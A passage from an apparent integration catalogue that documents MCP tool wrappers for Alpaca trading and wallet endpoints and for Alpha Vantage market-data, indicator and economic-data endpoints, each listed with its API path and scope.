/v2/positions/{symbol_or_contract_id}/exercise POST /api/v1/alpaca/v2/positions/{symbol_or_contract_id}/exercise. Scopes: trading. alpaca_post_v2_tokenization_mint (write) — This endpoint is used by an Authorized Participant to request the minting of a tokenized asset. **Idempotency**: When the `Idempotency-Key` header is supplied, this endpoint is idempotent. Multiple requests with the same key and identical request body will create only one mint request. A subsequent request returns the previously created request with the same response (no duplicate is created). If the same key is used with a different request body, the API returns `422 Unprocessable Entity`. **Recommended for production**: Always supply `Idempotency-Key` when requesting a mint. This allows safe retries on timeouts, network errors, or 5xx responses without risking duplicate requests. Use a client-generated unique value (e.g. UUID). via POST /v2/tokenization/mint POST /api/v1/alpaca/v2/tokenization/mint. Scopes: trading. alpaca_post_v2_wallets_transfers (write) — Creates a withdrawal request. Note that outgoing withdrawals must be sent to a whitelisted address and you must whitelist addresses at least 24 hours in advance. If you attempt to withdraw funds to a non-whitelisted address then the transfer will be rejected. via POST /v2/wallets/transfers POST /api/v1/alpaca/v2/wallets/transfers. Scopes: account:write. alpaca_post_v2_wallets_whitelists (write) — Submits a new whitelisted withdrawal address for your account. The chain is derived from the supplied asset symbol and address, and the same address cannot be whitelisted twice on the same chain. Where travel rule reporting applies to your account, supply travel rule information for the destination wallet. Use the `Search VASPs` endpoint to find the VASP DID for the destination exchange. For a self-hosted wallet, set `beneficiary_is_self_hosted` to true. If the exchange is not in the directory, provide its information in `beneficiary_manual_entry`. Note that whitelisted addresses must wait at least 24 hours before they can be used as a withdrawal destination. via POST /v2/wallets/whitelists POST /api/v1/alpaca/v2/wallets/whitelists. Scopes: account:write. alpaca_post_v2_watchlists (write) — Create a new watchlist with initial set of assets. via POST /v2/watchlists POST /api/v1/alpaca/v2/watchlists. Scopes: trading. alpaca_post_v2_watchlists_by_name (write) — Append an asset for the symbol to the end of watchlist asset list via POST /v2/watchlists:by_name POST /api/v1/alpaca/v2/watchlists:by_name. Scopes: trading. alpaca_post_v2_watchlists_by_watchlist_id (write) — Append an asset for the symbol to the end of watchlist asset list via POST /v2/watchlists/{watchlist_id} POST /api/v1/alpaca/v2/watchlists/{watchlist_id}. Scopes: trading. alpaca_put_v2_watchlists_by_name (write) — Update the name and/or content of watchlist via PUT /v2/watchlists:by_name PUT /api/v1/alpaca/v2/watchlists:by_name. Scopes: trading. alpaca_put_v2_watchlists_by_watchlist_id (write) — Update the name and/or content of watchlist via PUT /v2/watchlists/{watchlist_id} PUT /api/v1/alpaca/v2/watchlists/{watchlist_id}. Scopes: trading. ================================================================================ ## Alpha Vantage URL: https://www.agenticfabriq.com/integrations/alphavantage Section: Integrated Tools Alpha Vantage — 128 MCP tools Provider key: alphavantage. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. alphavantage_get_query_function_ad (read) — This API returns the Chaikin A/D line (AD) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/ad. Scopes: api. alphavantage_get_query_function_adosc (read) — This API returns the Chaikin A/D oscillator (ADOSC) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/adosc. Scopes: api. alphavantage_get_query_function_adx (read) — This API returns the average directional movement index (ADX) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/adx. Scopes: api. alphavantage_get_query_function_adxr (read) — This API returns the average directional movement index rating (ADXR) values. See also: mathematical reference . GET /api/v1/alphavantage/query/adxr. Scopes: api. alphavantage_get_query_function_all_commodities (read) — This API returns the global price index of all commodities in monthly, quarterly, and annual temporal dimensions. Source: International Monetary Fund ( IMF Terms of Use ), Global Price Index of All Commodities, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/all_commodities. Scopes: api. alphavantage_get_query_function_aluminum (read) — This API returns the global price of aluminum in monthly, quarterly, and annual horizons. Source: International Monetary Fund ( IMF Terms of Use ), Global price of Aluminum, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/aluminum. Scopes: api. alphavantage_get_query_function_analytics_fixed_window (read) — This endpoint returns a rich set of advanced analytics metrics (e.g., total return, variance, auto-correlation, etc.) for a given time series over a fixed temporal window. GET /api/v1/alphavantage/query/analytics_fixed_window. Scopes: api. alphavantage_get_query_function_analytics_sliding_window (read) — This endpoint returns a rich set of advanced analytics metrics (e.g., total return, variance, auto-correlation, etc.) for a given time series over sliding time windows. For example, we can calculate a moving variance over 5 years with a window of 100 points to see how the variance changes over time. GET /api/v1/alphavantage/query/analytics_sliding_window. Scopes: api. alphavantage_get_query_function_apo (read) — This API returns the absolute price oscillator (APO) values. See also: mathematical reference . GET /api/v1/alphavantage/query/apo. Scopes: api. alphavantage_get_query_function_aroon (read) — This API returns the Aroon (AROON) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/aroon. Scopes: api. alphavantage_get_query_function_aroonosc (read) — This API returns the Aroon oscillator (AROONOSC) values. See also: mathematical reference . GET /api/v1/alphavantage/query/aroonosc. Scopes: api. alphavantage_get_query_function_atr (read) — This API returns the average true range (ATR) values. See also: Investopedia article and mathematical reference GET /api/v1/alphavantage/query/atr. Scopes: api. alphavantage_get_query_function_balance_sheet (read) — This API returns the annual and quarterly balance sheets for the company of interest, with normalized fields mapped to GAAP and IFRS taxonomies of the SEC. Data is generally refreshed on the same day a company reports its latest earnings and financials. GET /api/v1/alphavantage/query/balance_sheet. Scopes: api. alphavantage_get_query_function_bbands (read) — This API returns the Bollinger bands (BBANDS) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/bbands. Scopes: api. alphavantage_get_query_function_bop (read) — This API returns the balance of power (BOP) values. GET /api/v1/alphavantage/query/bop. Scopes: api. alphavantage_get_query_function_brent (read) — This API returns the Brent (Europe) crude oil prices in daily, weekly, and monthly horizons. Source: U.S. Energy Information Administration, Crude Oil Prices: Brent - Europe, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/brent. Scopes: api. alphavantage_get_query_function_cash_flow (read) — This API returns the annual and quarterly cash flow for the company of interest, with normalized fields mapped to GAAP and IFRS taxonomies of the SEC. Data is generally refreshed on the same day a company reports its latest earnings and financials. GET /api/v1/alphavantage/query/cash_flow. Scopes: api. alphavantage_get_query_function_cci (read) — This API returns the commodity channel index (CCI) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/cci. Scopes: api. alphavantage_get_query_function_cmo (read) — This API returns the Chande momentum oscillator (CMO) values. See also: mathematical reference . GET /api/v1/alphavantage/query/cmo. Scopes: api. alphavantage_get_query_function_coffee (read) — This API returns the global price of coffee in monthly, quarterly, and annual horizons. Source: International Monetary Fund ( IMF Terms of Use ), Global price of Coffee, Other Mild Arabica, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/coffee. Scopes: api. alphavantage_get_query_function_company_logo (read) — This API returns the logo of a publicly traded company in both pixel (PNG) and vector (SVG) formats. GET /api/v1/alphavantage/query/company_logo. Scopes: api. alphavantage_get_query_function_congress_trades (read) — This API returns the latest and historical stock trades disclosed by US congressional representatives. GET /api/v1/alphavantage/query/congress_trades. Scopes: api. alphavantage_get_query_function_copper (read) — This API returns the global price of copper in monthly, quarterly, and annual horizons. Source: International Monetary Fund ( IMF Terms of Use ), Global price of Copper, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/copper. Scopes: api. alphavantage_get_query_function_corn (read) — This API returns the global price of corn in monthly, quarterly, and annual horizons. Source: International Monetary Fund ( IMF Terms of Use ), Global price of Corn, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/corn. Scopes: api. alphavantage_get_query_function_cotton (read) — This API returns the global price of cotton in monthly, quarterly, and annual horizons. Source: International Monetary Fund ( IMF Terms of Use ), Global price of Cotton, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/cotton. Scopes: api. alphavantage_get_query_function_cpi (read) — This API returns the monthly and semiannual consumer price index (CPI) of the United States. CPI is widely regarded as the barometer of inflation levels in the broader economy. Source: U.S. Bureau of Labor Statistics, Consumer Price Index for All Urban Consumers: All Items in U.S. City Average, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/cpi. Scopes: api. alphavantage_get_query_function_crypto_intraday (read) — This API returns intraday time series (timestamp, open, high, low, close, volume) of the cryptocurrency specified, updated realtime. [Alpha Vantage marks this a premium endpoint: measured 2026-09-10, a non-premium key receives HTTP 200 with an Information notice pointing at the premium plans instead of data.] GET /api/v1/alphavantage/query/crypto_intraday. Scopes: api. alphavantage_get_query_function_currency_exchange_rate (read) — This API returns the realtime exchange rate for any pair of cryptocurrency (e.g., Bitcoin) or physical currency (e.g., USD). GET /api/v1/alphavantage/query/currency_exchange_rate. Scopes: api. alphavantage_get_query_function_dema (read) — This API returns the double exponential moving average (DEMA) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/dema. Scopes: api. alphavantage_get_query_function_digital_currency_daily (read) — This API returns the daily historical time series for a cryptocurrency (e.g., BTC) traded on a specific market (e.g., EUR/Euro), refreshed daily at midnight (UTC). Prices and volumes are quoted in both the market-specific currency and USD. GET /api/v1/alphavantage/query/digital_currency_daily. Scopes: api. alphavantage_get_query_function_digital_currency_monthly (read) — This API returns the monthly historical time series for a cryptocurrency (e.g., BTC) traded on a specific market (e.g., EUR/Euro), refreshed daily at midnight (UTC). Prices and volumes are quoted in both the market-specific currency and USD. GET /api/v1/alphavantage/query/digital_currency_monthly. Scopes: api. alphavantage_get_query_function_digital_currency_weekly (read) — This API returns the weekly historical time series for a cryptocurrency (e.g., BTC) traded on a specific market (e.g., EUR/Euro), refreshed daily at midnight (UTC). Prices and volumes are quoted in both the market-specific currency and USD. GET /api/v1/alphavantage/query/digital_currency_weekly. Scopes: api. alphavantage_get_query_function_dividends (read) — This API returns historical and future (declared) dividend distributions. GET /api/v1/alphavantage/query/dividends. Scopes: api. alphavantage_get_query_function_durables (read) — This API returns the monthly manufacturers' new orders of durable goods in the United States. Source: U.S. Census Bureau, Manufacturers' New Orders: Durable Goods, retrieved from FRED, Federal Reserve Bank of St. Louis (https://fred.stlouisfed.org/series/UMDMNO). This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/durables. Scopes: api. alphavantage_get_query_function_dx (read) — This API returns the directional movement index (DX) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/dx. Scopes: api. alphavantage_get_query_function_earnings (read) — This API returns the annual and quarterly earnings (EPS) for the company of interest. Quarterly data also includes analyst estimates and surprise metrics. GET /api/v1/alphavantage/query/earnings. Scopes: api. alphavantage_get_query_function_earnings_calendar (read) — This API returns a list of company earnings expected in the next 3, 6, or 12 months. GET /api/v1/alphavantage/query/earnings_calendar. Scopes: api. alphavantage_get_query_function_earnings_call_transcript (read) — This API returns the earnings call transcript for a given company in a specific quarter, covering over 15 years of history and enriched with turn-by-turn sentiment signals. GET /api/v1/alphavantage/query/earnings_call_transcript. Scopes: api. alphavantage_get_query_function_earnings_estimates (read) — This API returns the annual and quarterly EPS and revenue estimates for the company of interest, along with analyst count and revision history. GET /api/v1/alphavantage/query/earnings_estimates. Scopes: api. alphavantage_get_query_function_ema (read) — This API returns the exponential moving average (EMA) values. See also: EMA explainer and mathematical reference . GET /api/v1/alphavantage/query/ema. Scopes: api. alphavantage_get_query_function_etf_profile (read) — This API returns key ETF metrics (e.g., net assets, expense ratio, and turnover), along with the corresponding ETF holdings / constituents with allocation by asset types and sectors. GET /api/v1/alphavantage/query/etf_profile. Scopes: api. alphavantage_get_query_function_federal_funds_rate (read) — This API returns the daily, weekly, and monthly federal funds rate (interest rate) of the United States. Source: Board of Governors of the Federal Reserve System (US), Federal Funds Effective Rate, retrieved from FRED, Federal Reserve Bank of St. Louis (https://fred.stlouisfed.org/series/FEDFUNDS). This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/federal_funds_rate. Scopes: api. alphavantage_get_query_function_fx_daily (read) — This API returns the daily time series (timestamp, open, high, low, close) of the FX currency pair specified, updated realtime. GET /api/v1/alphavantage/query/fx_daily. Scopes: api. alphavantage_get_query_function_fx_intraday (read) — This API returns intraday time series (timestamp, open, high, low, close) of the FX currency pair specified, updated realtime. [Alpha Vantage marks this a premium endpoint: measured 2026-09-10, a non-premium key receives HTTP 200 with an Information notice pointing at the premium plans instead of data.] GET /api/v1/alphavantage/query/fx_intraday. Scopes: api. alphavantage_get_query_function_fx_monthly (read) — This API returns the monthly time series (timestamp, open, high, low, close) of the FX currency pair specified, updated realtime. The latest data point is the prices information for the month (or partial month) containing the current trading day, updated realtime. GET /api/v1/alphavantage/query/fx_monthly. Scopes: api. alphavantage_get_query_function_fx_weekly (read) — This API returns the weekly time series (timestamp, open, high, low, close) of the FX currency pair specified, updated realtime. The latest data point is the price information for the week (or partial week) containing the current trading day, updated realtime. GET /api/v1/alphavantage/query/fx_weekly. Scopes: api. alphavantage_get_query_function_global_quote (read) — This endpoint returns the latest price and volume information for a ticker of your choice. You can specify one ticker per API request. If you would like to query a large universe of tickers in bulk, you may want to try out our Realtime Bulk Quotes API , which accepts up to 100 tickers per API request. GET /api/v1/alphavantage/query/global_quote. Scopes: api. alphavantage_get_query_function_gold_silver_history (read) — This API returns the historical gold and silver prices in daily, weekly, and monthly horizons. 💡 Tip: Looking for gold and silver live prices instead? Please check out our dedicated gold & silver spot price API . GET /api/v1/alphavantage/query/gold_silver_history. Scopes: api. alphavantage_get_query_function_gold_silver_spot (read) — This API returns the live spot prices of gold and silver metals. GET /api/v1/alphavantage/query/gold_silver_spot. Scopes: api. alphavantage_get_query_function_historical_options (read) — This API returns the full historical options chain for a specific symbol on a specific date, covering 15+ years of history. Implied volatility (IV) and common Greeks (e.g., delta, gamma, theta, vega, rho) are also returned. Option chains are sorted by expiration dates in chronological order. Within the same expiration date, contracts are sorted by strike prices from low to high. [Alpha Vantage marks this a premium endpoint: measured 2026-09-10, a non-premium key receives HTTP 200 with an Information notice pointing at the premium plans instead of data.] GET /api/v1/alphavantage/query/historical_options. Scopes: api. alphavantage_get_query_function_historical_put_call_ratio (read) — This API returns historical put-call ratios for both the entire option chain and for specific expiration dates. A lower put-call ratio ( =1.0) suggests bearish sentiment. However, because this metric is often used as a contrarian indicator, extreme values can imply the opposite - e.g., readings much higher than 1.0 may actually indicate a bullish outlook, while very low readings close to zero can point to potential bearish conditions. GET /api/v1/alphavantage/query/historical_put_call_ratio. Scopes: api. alphavantage_get_query_function_historical_volume_open_interest_ratio (read) — This API returns historical volume-to-open-interest ratios within an option chain. A high ratio (volume much larger than open interest) often suggests heavy trading activity relative to existing positions, which can indicate short-term speculation, increased liquidity, or possible trend changes. A low ratio (volume small compared to open interest) implies that most positions are being held rather than actively traded, signaling more stable or less volatile conditions. Traders use this ratio to understand whether price moves are driven by new participation (potentially stronger signals) or just minor adjustments within existing positions. GET /api/v1/alphavantage/query/historical_volume_open_interest_ratio. Scopes: api. alphavantage_get_query_function_ht_dcperiod (read) — This API returns the Hilbert transform, dominant cycle period (HT_DCPERIOD) values. GET /api/v1/alphavantage/query/ht_dcperiod. Scopes: api. alphavantage_get_query_function_ht_dcphase (read) — This API returns the Hilbert transform, dominant cycle phase (HT_DCPHASE) values. GET /api/v1/alphavantage/query/ht_dcphase. Scopes: api. alphavantage_get_query_function_ht_phasor (read) — This API returns the Hilbert transform, phasor components (HT_PHASOR) values. GET /api/v1/alphavantage/query/ht_phasor. Scopes: api. alphavantage_get_query_function_ht_sine (read) — This API returns the Hilbert transform, sine wave (HT_SINE) values. GET /api/v1/alphavantage/query/ht_sine. Scopes: api. alphavantage_get_query_function_ht_trendline (read) — This API returns the Hilbert transform, instantaneous trendline (HT_TRENDLINE) values. GET /api/v1/alphavantage/query/ht_trendline. Scopes: api. alphavantage_get_query_function_ht_trendmode (read) — This API returns the Hilbert transform, trend vs cycle mode (HT_TRENDMODE) values. GET /api/v1/alphavantage/query/ht_trendmode. Scopes: api. alphavantage_get_query_function_income_statement (read) — This API returns the annual and quarterly income statements for the company of interest, with normalized fields mapped to GAAP and IFRS taxonomies of the SEC. Data is generally refreshed on the same day a company reports its latest earnings and financials. GET /api/v1/alphavantage/query/income_statement. Scopes: api. alphavantage_get_query_function_index_catalog (read) — The Index Catalog API returns the full list of supported index symbols, along with the corresponding long-form names. GET /api/v1/alphavantage/query/index_catalog. Scopes: api. alphavantage_get_query_function_index_data (read) — This API returns decades of daily/weekly/monthly open, high, low, close (OHLC) time series data for over 200+ major market indices. For the full list of supported indices, please refer to the Index Catalog . [Alpha Vantage marks this a premium endpoint: measured 2026-09-10, a non-premium key receives HTTP 200 with an Information notice pointing at the premium plans instead of data.] GET /api/v1/alphavantage/query/index_data. Scopes: api. alphavantage_get_query_function_inflation (read) — This API returns the annual inflation rates (consumer prices) of the United States. Source: World Bank, Inflation, consumer prices for the United States, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/inflation. Scopes: api. alphavantage_get_query_function_insider_transactions (read) — This API returns the latest and historical insider transactions made by key stakeholders (e.g., founders, executives, board members, etc.) of a specific company. GET /api/v1/alphavantage/query/insider_transactions. Scopes: api. alphavantage_get_query_function_institutional_holdings (read) — This API returns the institutional ownership and holdings information for an equity of interest. GET /api/v1/alphavantage/query/institutional_holdings. Scopes: api. alphavantage_get_query_function_ipo_calendar (read) — This API returns a list of IPOs expected in the next 3 months. GET /api/v1/alphavantage/query/ipo_calendar. Scopes: api. alphavantage_get_query_function_kama (read) — This API returns the Kaufman adaptive moving average (KAMA) values. GET /api/v1/alphavantage/query/kama. Scopes: api. alphavantage_get_query_function_listing_status (read) — This API returns a list of active or delisted US stocks and ETFs, either as of the latest trading day or at a specific time in history. The endpoint is positioned to facilitate equity research on asset lifecycle and survivorship. GET /api/v1/alphavantage/query/listing_status. Scopes: api. alphavantage_get_query_function_macd (read) — This API returns the moving average convergence / divergence (MACD) values. See also: Investopedia article and mathematical reference . [Alpha Vantage marks this a premium endpoint: measured 2026-09-10, a non-premium key receives HTTP 200 with an Information notice pointing at the premium plans instead of data.] GET /api/v1/alphavantage/query/macd. Scopes: api. alphavantage_get_query_function_macdext (read) — This API returns the moving average convergence / divergence values with controllable moving average type. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/macdext. Scopes: api. alphavantage_get_query_function_mama (read) — This API returns the MESA adaptive moving average (MAMA) values. GET /api/v1/alphavantage/query/mama. Scopes: api. alphavantage_get_query_function_market_status (read) — This endpoint returns the current market status (open vs. closed) of major trading venues for equities, forex, and cryptocurrencies around the world. GET /api/v1/alphavantage/query/market_status. Scopes: api. alphavantage_get_query_function_mfi (read) — This API returns the money flow index (MFI) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/mfi. Scopes: api. alphavantage_get_query_function_midpoint (read) — This API returns the midpoint (MIDPOINT) values. MIDPOINT = (highest value + lowest value)/2. GET /api/v1/alphavantage/query/midpoint. Scopes: api. alphavantage_get_query_function_midprice (read) — This API returns the midpoint price (MIDPRICE) values. MIDPRICE = (highest high + lowest low)/2. GET /api/v1/alphavantage/query/midprice. Scopes: api. alphavantage_get_query_function_minus_di (read) — This API returns the minus directional indicator (MINUS_DI) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/minus_di. Scopes: api. alphavantage_get_query_function_minus_dm (read) — This API returns the minus directional movement (MINUS_DM) values. See also: Investopedia article GET /api/v1/alphavantage/query/minus_dm. Scopes: api. alphavantage_get_query_function_mom (read) — This API returns the momentum (MOM) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/mom. Scopes: api. alphavantage_get_query_function_natr (read) — This API returns the normalized average true range (NATR) values. GET /api/v1/alphavantage/query/natr. Scopes: api. alphavantage_get_query_function_natural_gas (read) — This API returns the Henry Hub natural gas spot prices in daily, weekly, and monthly horizons. Source: U.S. Energy Information Administration, Henry Hub Natural Gas Spot Price, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/natural_gas. Scopes: api. alphavantage_get_query_function_news_sentiment (read) — Looking for market news data to train your LLM models or to augment your trading strategy? You have just found it. This API returns live and historical market news & sentiment data from a large & growing selection of premier news outlets around the world, covering stocks, cryptocurrencies, forex, and a wide range of topics such as fiscal policy, mergers & acquisitions, IPOs, etc. This API, combined with our core stock API, fundamental data, and technical indicator APIs, can provide you with a 360-degree view of the financial market and the broader economy. GET /api/v1/alphavantage/query/news_sentiment. Scopes: api. alphavantage_get_query_function_nonfarm_payroll (read) — This API returns the monthly US All Employees: Total Nonfarm (commonly known as Total Nonfarm Payroll), a measure of the number of U.S. workers in the economy that excludes proprietors, private household employees, unpaid volunteers, farm employees, and the unincorporated self-employed. Source: U.S. Bureau of Labor Statistics, All Employees, Total Nonfarm, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/nonfarm_payroll. Scopes: api. alphavantage_get_query_function_obv (read) — This API returns the on balance volume (OBV) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/obv. Scopes: api. alphavantage_get_query_function_overview (read) — This API returns the company information, financial ratios, and other key metrics for the equity specified. Data is generally refreshed on the same day a company reports its latest earnings and financials. GET /api/v1/alphavantage/query/overview. Scopes: api. alphavantage_get_query_function_plus_di (read) — This API returns the plus directional indicator (PLUS_DI) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/plus_di. Scopes: api. alphavantage_get_query_function_plus_dm (read) — This API returns the plus directional movement (PLUS_DM) values. See also: Investopedia article GET /api/v1/alphavantage/query/plus_dm. Scopes: api. alphavantage_get_query_function_politician_metadata (read) — This API returns the key metadata for US congressional representatives, such as bioguide_id, district, time in service, etc. GET /api/v1/alphavantage/query/politician_metadata. Scopes: api. alphavantage_get_query_function_ppo (read) — This API returns the percentage price oscillator (PPO) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/ppo. Scopes: api. alphavantage_get_query_function_real_gdp (read) — This API returns the annual and quarterly Real GDP of the United States. Source: U.S. Bureau of Economic Analysis, Real Gross Domestic Product, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/real_gdp. Scopes: api. alphavantage_get_query_function_real_gdp_per_capita (read) — This API returns the quarterly Real GDP per Capita data of the United States. Source: U.S. Bureau of Economic Analysis, Real gross domestic product per capita, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/real_gdp_per_capita. Scopes: api. alphavantage_get_query_function_realtime_bulk_bid_ask_prices (read) — This API returns realtime bid and ask prices for US-traded symbols in bulk, accepting up to 100 symbols per API request and covering both regular and extended (pre-market and post-market) trading hours. You can use this endpoint as an efficient way to query top-of-the-book Level 2 data. [Alpha Vantage marks this a premium endpoint: measured 2026-09-10, a non-premium key receives HTTP 200 with an Information notice pointing at the premium plans instead of data.] GET /api/v1/alphavantage/query/realtime_bulk_bid_ask_prices. Scopes: api. alphavantage_get_query_function_realtime_bulk_quotes (read) — This API returns realtime quotes for US-traded symbols in bulk, accepting up to 100 symbols per API request and covering both regular and extended (pre-market and post-market) trading hours. You can use this endpoint as a high-throughput alternative to the Global Quote API , which accepts one symbol per API request. [Alpha Vantage marks this a premium endpoint: measured 2026-09-10, a non-premium key receives HTTP 200 with an Information notice pointing at the premium plans instead of data.] GET /api/v1/alphavantage/query/realtime_bulk_quotes. Scopes: api. alphavantage_get_query_function_realtime_options (read) — This API returns realtime US options data with full market coverage. Option chains are sorted by expiration dates in chronological order. Within the same expiration date, contracts are sorted by strike prices from low to high. [Alpha Vantage marks this a premium endpoint: measured 2026-09-10, a non-premium key receives HTTP 200 with an Information notice pointing at the premium plans instead of data.] GET /api/v1/alphavantage/query/realtime_options. Scopes: api. alphavantage_get_query_function_realtime_put_call_ratio (read) — This API returns realtime put-call ratios for both the entire option chain and for specific expiration dates. A lower put-call ratio ( =1.0) suggests bearish sentiment. However, because this metric is often used as a contrarian indicator, extreme values can imply the opposite - e.g., readings much higher than 1.0 may actually indicate a bullish outlook, while very low readings close to zero can point to potential bearish conditions. GET /api/v1/alphavantage/query/realtime_put_call_ratio. Scopes: api. alphavantage_get_query_function_realtime_volume_open_interest_ratio (read) — This API returns realtime volume-to-open-interest ratios within an option chain. A high ratio (volume much larger than open interest) often suggests heavy trading activity relative to existing positions, which can indicate short-term speculation, increased liquidity, or possible trend changes. A low ratio (volume small compared to open interest) implies that most positions are being held rather than actively traded, signaling more stable or less volatile conditions. Traders use this ratio to understand whether price moves are driven by new participation (potentially stronger signals) or just minor adjustments within existing positions. GET /api/v1/alphavantage/query/realtime_volume_open_interest_ratio. Scopes: api. alphavantage_get_query_function_retail_sales (read) — This API returns the monthly Advance Retail Sales: Retail Trade data of the United States. Source: U.S. Census Bureau, Advance Retail Sales: Retail Trade, retrieved from FRED, Federal Reserve Bank of St. Louis (https://fred.stlouisfed.org/series/RSXFSN). This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/retail_sales. Scopes: api. alphavantage_get_query_function_roc (read) — This API returns the rate of change (ROC) values. See also: Investopedia article . GET /api/v1/alphavantage/query/roc. Scopes: api. alphavantage_get_query_function_rocr (read) — This API returns the rate of change ratio (ROCR) values. See also: Investopedia article . GET /api/v1/alphavantage/query/rocr. Scopes: api. alphavantage_get_query_function_rsi (read) — This API returns the relative strength index (RSI) values. See also: RSI explainer and mathematical reference . GET /api/v1/alphavantage/query/rsi. Scopes: api. alphavantage_get_query_function_sar (read) — This API returns the parabolic SAR (SAR) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/sar. Scopes: api. alphavantage_get_query_function_shares_outstanding (read) — This API returns the quarterly numbers of shares outstanding for the company of interest, with both diluted and basic shares outstanding values returned. Data is generally refreshed on the same day a company reports its latest earnings and financials. GET /api/v1/alphavantage/query/shares_outstanding. Scopes: api. alphavantage_get_query_function_sma (read) — This API returns the simple moving average (SMA) values. See also: SMA explainer and mathematical reference . GET /api/v1/alphavantage/query/sma. Scopes: api. alphavantage_get_query_function_splits (read) — This API returns historical split events. GET /api/v1/alphavantage/query/splits. Scopes: api. alphavantage_get_query_function_stoch (read) — This API returns the stochastic oscillator (STOCH) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/stoch. Scopes: api. alphavantage_get_query_function_stochf (read) — This API returns the stochastic fast (STOCHF) values. See also: Investopedia article and mathematical reference . GET /api/v1/alphavantage/query/stochf. Scopes: api. alphavantage_get_query_function_stochrsi (read) — This API returns the stochastic relative strength index (STOCHRSI) values. See also: mathematical reference . GET /api/v1/alphavantage/query/stochrsi. Scopes: api. alphavantage_get_query_function_sugar (read) — This API returns the global price of sugar in monthly, quarterly, and annual horizons. Source: International Monetary Fund ( IMF Terms of Use ), Global price of Sugar, No. 11, World, retrieved from FRED, Federal Reserve Bank of St. Louis. This data feed uses the FRED® API but is not endorsed or certified by the Federal Reserve Bank of St. Louis. By using this data feed, you agree to be bound by the FRED® API Terms of Use . GET /api/v1/alphavantage/query/sugar. Scopes: api. alphavantage_get_query_function_symbol_search (read) — Looking for some specific symbols or companies? Trying to build an auto-complete search box similar to the one below? We've got you covered! The Search Endpoint returns the best-matching symbols and market information based on keywords of your choice. The search results also contain match scores that provide you with the full flexibility to develop your own search and filtering logic. GET 